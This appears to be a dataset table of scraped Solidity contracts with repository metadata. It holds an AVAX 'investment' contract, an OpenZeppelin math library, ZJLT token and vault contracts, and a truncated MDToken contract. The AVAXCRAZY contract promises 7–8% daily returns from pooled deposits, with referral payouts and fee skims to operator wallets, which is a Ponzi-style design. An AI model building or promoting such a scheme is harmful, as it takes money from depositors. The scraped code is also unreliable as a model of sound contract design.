hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
79e16b445116fb3d6ab1159904e1ff54e84183dab85b1be44d49959ae89369f8
| 11,906 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/58/582a62da3d839c77ad600e7ccd4341d0b89bca16_AVAXCRAZY.sol
| 3,674 | 11,209 |
pragma solidity 0.5.8;
contract AVAXCRAZY{
using SafeMath for uint256;
using SafeMath for uint8;
uint256 constant public INVEST_MIN_AMOUNT = 0.1 ether; // 0.1 AVAX
uint256[] public REFERRAL_PERCENTS = [50, 30, 20];
uint256 constant public PROJECT_FEE = 90;
uint256 constant public DEVELOPER_FEE = 10;
uint256 constant public PERCENT_STEP = 5;
uint256 constant public PERCENTS_DIVIDER= 1000;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MAX_HOLD_PERCENT = 15;
uint256 WITHDRAW_FEE_1 = 50; //5%
uint256 WITHDRAW_FEE_2 = 100; //10%
uint256 public totalStaked;
uint256 public totalRefBonus;
uint256 public totalUsers;
struct Plan {
uint256 time;
uint256 percent;
}
Plan[] internal plans;
struct Deposit {
uint8 plan;
uint256 percent;
uint256 amount;
uint256 profit;
uint256 start;
uint256 finish;
}
struct User {
Deposit[] deposits;
uint256 checkpoint;
uint256 holdBonusCheckpoint;
address payable referrer;
uint256 referrals;
uint256 totalBonus;
uint256 withdrawn;
}
mapping (address => User) internal users;
uint256 public startUNIX;
address payable private commissionWallet;
address payable private developerWallet;
event Newbie(address user);
event NewDeposit(address indexed user, uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount);
constructor(address payable wallet, address payable _developer) public {
require(!isContract(wallet));
commissionWallet = wallet;
developerWallet = _developer;
startUNIX = block.timestamp.add(365 days);
plans.push(Plan(14, 80)); // 8% per day for 14 days
plans.push(Plan(21, 75)); // 7.5% per day for 21 days
plans.push(Plan(28, 70)); // 7% per day for 28 days
plans.push(Plan(14, 80)); // 8% per day for 14 days (at the end, compounding)
plans.push(Plan(21, 75)); // 7.5% per day for 21 days (at the end, compounding)
plans.push(Plan(28, 70)); // 7% per day for 28 days (at the end, compounding)
}
function launch() public {
require(msg.sender == developerWallet);
startUNIX = block.timestamp;
}
function invest(address payable referrer,uint8 plan) public payable {
_invest(referrer, plan, msg.sender, msg.value);
}
function _invest(address payable referrer, uint8 plan, address payable sender, uint256 value) private {
require(value >= INVEST_MIN_AMOUNT);
require(plan < 6, "Invalid plan");
require(startUNIX < block.timestamp, "contract hasn`t started yet");
uint256 fee = value.mul(PROJECT_FEE).div(PERCENTS_DIVIDER);
commissionWallet.transfer(fee);
uint256 developerFee = value.mul(DEVELOPER_FEE).div(PERCENTS_DIVIDER);
developerWallet.transfer(developerFee);
User storage user = users[sender];
if (user.referrer == address(0)) {
if (users[referrer].deposits.length > 0 && referrer != sender) {
user.referrer = referrer;
}
address upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
users[upline].referrals = users[upline].referrals.add(1);
upline = users[upline].referrer;
} else break;
}
}
if (user.referrer != address(0)) {
uint256 _refBonus = 0;
address payable upline = user.referrer;
for (uint256 i = 0; i < 3; i++) {
if (upline != address(0)) {
uint256 amount = value.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
upline.transfer(amount);
_refBonus = _refBonus.add(amount);
emit RefBonus(upline, sender, i, amount);
upline = users[upline].referrer;
} else break;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
if (plan < 3) {
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
} else if (plan < 6) {
for (uint256 i = 0; i < plans[plan].time; i++) {
profit = profit.add((deposit.add(profit)).mul(percent).div(PERCENTS_DIVIDER));
}
}
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
uint256 _dividends = share.mul(to.sub(from)).div(TIME_STEP);
uint256 _dividendsWithFee = _dividends.sub(_dividends.mul(WITHDRAW_FEE_1).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_dividendsWithFee);
}
} else {
if(block.timestamp > user.deposits[i].finish) {
uint256 _profit = user.deposits[i].profit;
uint256 _profitWithFee = _profit.sub(_profit.mul(WITHDRAW_FEE_2).div(PERCENTS_DIVIDER));
totalAmount = totalAmount.add(_profitWithFee);
}
}
}
}
return totalAmount;
}
function getUserAvailable(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserTotalWithdrawn(address userAddress) public view returns(uint256 amount) {
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 93,568 | 14,100 |
ef962829d0455e2376f48293ba6e327e2c35a98da570e4fd14e05cd5c900ff38
| 12,491 |
.sol
|
Solidity
| false |
591013357
|
Phantom-Network/gm-contracts
|
508ef8027fdc50d534411f89d947d57f3e335557
|
lib/openzeppelin-contracts/contracts/utils/math/Math.sol
| 2,433 | 8,628 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
library Math {
enum Rounding {
Down, // Toward negative infinity
Up, // Toward infinity
Zero // Toward zero
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a == 0 ? 0 : (a - 1) / b + 1;
}
function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
unchecked {
// 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
// variables such that product = prod1 * 2^256 + prod0.
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(x, y, not(0))
prod0 := mul(x, y)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division.
if (prod1 == 0) {
return prod0 / denominator;
}
// Make sure the result is less than 2^256. Also prevents denominator == 0.
require(denominator > prod1, "Math: mulDiv overflow");
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0].
uint256 remainder;
assembly {
// Compute remainder using mulmod.
remainder := mulmod(x, y, denominator)
// Subtract 256 bit number from 512 bit number.
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// See https://cs.stackexchange.com/q/138556/92363.
// Does not overflow because the denominator cannot be zero at this stage in the function.
uint256 twos = denominator & (~denominator + 1);
assembly {
// Divide denominator by twos.
denominator := div(denominator, twos)
// Divide [prod1 prod0] by twos.
prod0 := div(prod0, twos)
// Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
twos := add(div(sub(0, twos), twos), 1)
}
// Shift in bits from prod1 into prod0.
prod0 |= prod1 * twos;
// four bits. That is, denominator * inv = 1 mod 2^4.
uint256 inverse = (3 * denominator) ^ 2;
// in modular arithmetic, doubling the correct bits in each step.
inverse *= 2 - denominator * inverse; // inverse mod 2^8
inverse *= 2 - denominator * inverse; // inverse mod 2^16
inverse *= 2 - denominator * inverse; // inverse mod 2^32
inverse *= 2 - denominator * inverse; // inverse mod 2^64
inverse *= 2 - denominator * inverse; // inverse mod 2^128
inverse *= 2 - denominator * inverse; // inverse mod 2^256
// is no longer required.
result = prod0 * inverse;
return result;
}
}
function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
uint256 result = mulDiv(x, y, denominator);
if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {
result += 1;
}
return result;
}
function sqrt(uint256 a) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
//
// `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
//
// This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
// `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
// `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
//
uint256 result = 1 << (log2(a) >> 1);
// into the expected uint128 result.
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
| 160,752 | 14,101 |
78a0e3e82a0b6ab3d8f0fbd46eff8e2e86b661cd466e463124a9a89b59cb0d2b
| 13,226 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xd41ee3317467ab60109d76d6360807777c10afd7.sol
| 2,781 | 10,240 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract TokenERC20 is ERC20, Ownable{
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
using SafeMath for uint256;
// Balances
mapping (address => uint256) balances;
// Allowances
mapping (address => mapping (address => uint256)) allowances;
// ----- Events -----
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
function _transfer(address _from, address _to, uint _value) internal returns(bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
require(_value >= 0);
// Save this for an assertion in the future
uint previousBalances = balances[_from].add(balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
function transfer(address _to, uint256 _value) public returns(bool) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns(bool) {
require((_value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) {
if (approve(_spender, _value)) {
TokenRecipient spender = TokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
return false;
}
function transferForMultiAddresses(address[] _addresses, uint256[] _amounts) public returns (bool) {
for (uint256 i = 0; i < _addresses.length; i++) {
require(_addresses[i] != address(0));
require(_amounts[i] <= balances[msg.sender]);
require(_amounts[i] > 0);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amounts[i]);
balances[_addresses[i]] = balances[_addresses[i]].add(_amounts[i]);
emit Transfer(msg.sender, _addresses[i], _amounts[i]);
}
return true;
}
function burn(uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns(bool) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowances[_from][msg.sender]); // Check allowance
balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance
allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check for overflows
require(allowances[msg.sender][_spender].add(_addedValue) > allowances[msg.sender][_spender]);
allowances[msg.sender][_spender] =allowances[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
}
contract ZJLTToken is TokenERC20 {
function ZJLTToken() TokenERC20(2500000000, "ZJLT Distributed Factoring Network", "ZJLT", 18) public {
}
function () payable public {
//if ether is sent to this address, send it back.
//throw;
require(false);
}
}
contract ZJLTTokenVault is Ownable {
using SafeMath for uint256;
address public teamWallet = 0x1fd4C9206715703c209651c215f506555a40b7C0;
uint256 public startLockTime;
uint256 public totalAlloc = 25 * 10 ** 18;
uint256 public perValue = 20833333 * 10 ** 11;
uint256 public timeLockPeriod = 30 days;
uint256 public teamVestingStages = 12;
uint256 public latestUnlockStage = 0;
mapping (address => uint256) public lockBalance;
ZJLTToken public token;
bool public isExec;
// envent
event Alloc(address _wallet, uint256 _value);
event Claim(address _wallet, uint256 _value);
modifier unLocked {
uint256 nextStage = latestUnlockStage.add(1);
require(startLockTime > 0 && now >= startLockTime.add(nextStage.mul(timeLockPeriod)));
_;
}
modifier unExecd {
require(isExec == false);
_;
}
function ZJLTTokenVault(ERC20 _token) public {
owner = msg.sender;
token = ZJLTToken(_token);
}
function isUnlocked() public constant returns (bool) {
uint256 nextStage = latestUnlockStage.add(1);
return startLockTime > 0 && now >= startLockTime.add(nextStage.mul(timeLockPeriod)) ;
}
function alloc() public onlyOwner unExecd{
require(token.balanceOf(address(this)) >= totalAlloc);
lockBalance[teamWallet] = totalAlloc;
startLockTime = 1494432000 seconds;
isExec = true;
emit Alloc(teamWallet, totalAlloc);
}
function claim() public onlyOwner unLocked {
require(lockBalance[teamWallet] > 0);
if(latestUnlockStage == 11 && perValue != lockBalance[teamWallet]){
perValue = lockBalance[teamWallet];
}
lockBalance[teamWallet] = lockBalance[teamWallet].sub(perValue);
require(token.transfer(teamWallet, perValue));
latestUnlockStage = latestUnlockStage.add(1);
emit Claim(teamWallet, perValue);
}
}
| 222,847 | 14,102 |
0e4d8a3a559856529eab413445838e99675fa3969b3ca3f5a99b9483402cb80f
| 16,518 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x814e0908b12a99fecf5bc101bb5d0b8b5cdf7d26.sol
| 3,046 | 11,215 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC677 is ERC20 {
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool success);
event ERC677Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ERC677Receiver {
function onTokenTransfer(address _sender, uint _value, bytes _data) public returns (bool success);
}
contract ERC677Token is ERC677 {
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool success) {
require(super.transfer(_to, _value));
ERC677Transfer(msg.sender, _to, _value, _data);
if (isContract(_to)) {
contractFallback(_to, _value, _data);
}
return true;
}
// PRIVATE
function contractFallback(address _to, uint256 _value, bytes _data) private {
ERC677Receiver receiver = ERC677Receiver(_to);
require(receiver.onTokenTransfer(msg.sender, _value, _data));
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool hasCode) {
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MDToken is StandardToken, ERC677Token, Ownable {
using SafeMath for uint256;
// Token metadata
string public constant name = "Measurable Data Token";
string public constant symbol = "MDT";
uint256 public constant decimals = 18;
uint256 public constant maxSupply = 10 * (10**8) * (10**decimals); // 1 billion MDT
// 240 million MDT reserved for MDT team (24%)
uint256 public constant TEAM_TOKENS_RESERVED = 240 * (10**6) * (10**decimals);
// 150 million MDT reserved for user growth (15%)
uint256 public constant USER_GROWTH_TOKENS_RESERVED = 150 * (10**6) * (10**decimals);
// 110 million MDT reserved for early investors (11%)
uint256 public constant INVESTORS_TOKENS_RESERVED = 110 * (10**6) * (10**decimals);
// 200 million MDT reserved for bonus giveaway (20%)
uint256 public constant BONUS_TOKENS_RESERVED = 200 * (10**6) * (10**decimals);
// Token sale wallet address, contains tokens for private sale, early bird and bonus giveaway
address public tokenSaleAddress;
// MDT team wallet address
address public mdtTeamAddress;
// User Growth Pool wallet address
address public userGrowthAddress;
// Early Investors wallet address
address public investorsAddress;
address public mdtFoundationAddress;
event Burn(address indexed _burner, uint256 _value);
/// @dev Reverts if address is 0x0 or this token address
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
function MDToken(address _tokenSaleAddress,
address _mdtTeamAddress,
address _userGrowthAddress,
address _investorsAddress,
address _mdtFoundationAddress,
uint256 _presaleAmount,
uint256 _earlybirdAmount)
public
{
require(_tokenSaleAddress != address(0));
require(_mdtTeamAddress != address(0));
require(_userGrowthAddress != address(0));
require(_investorsAddress != address(0));
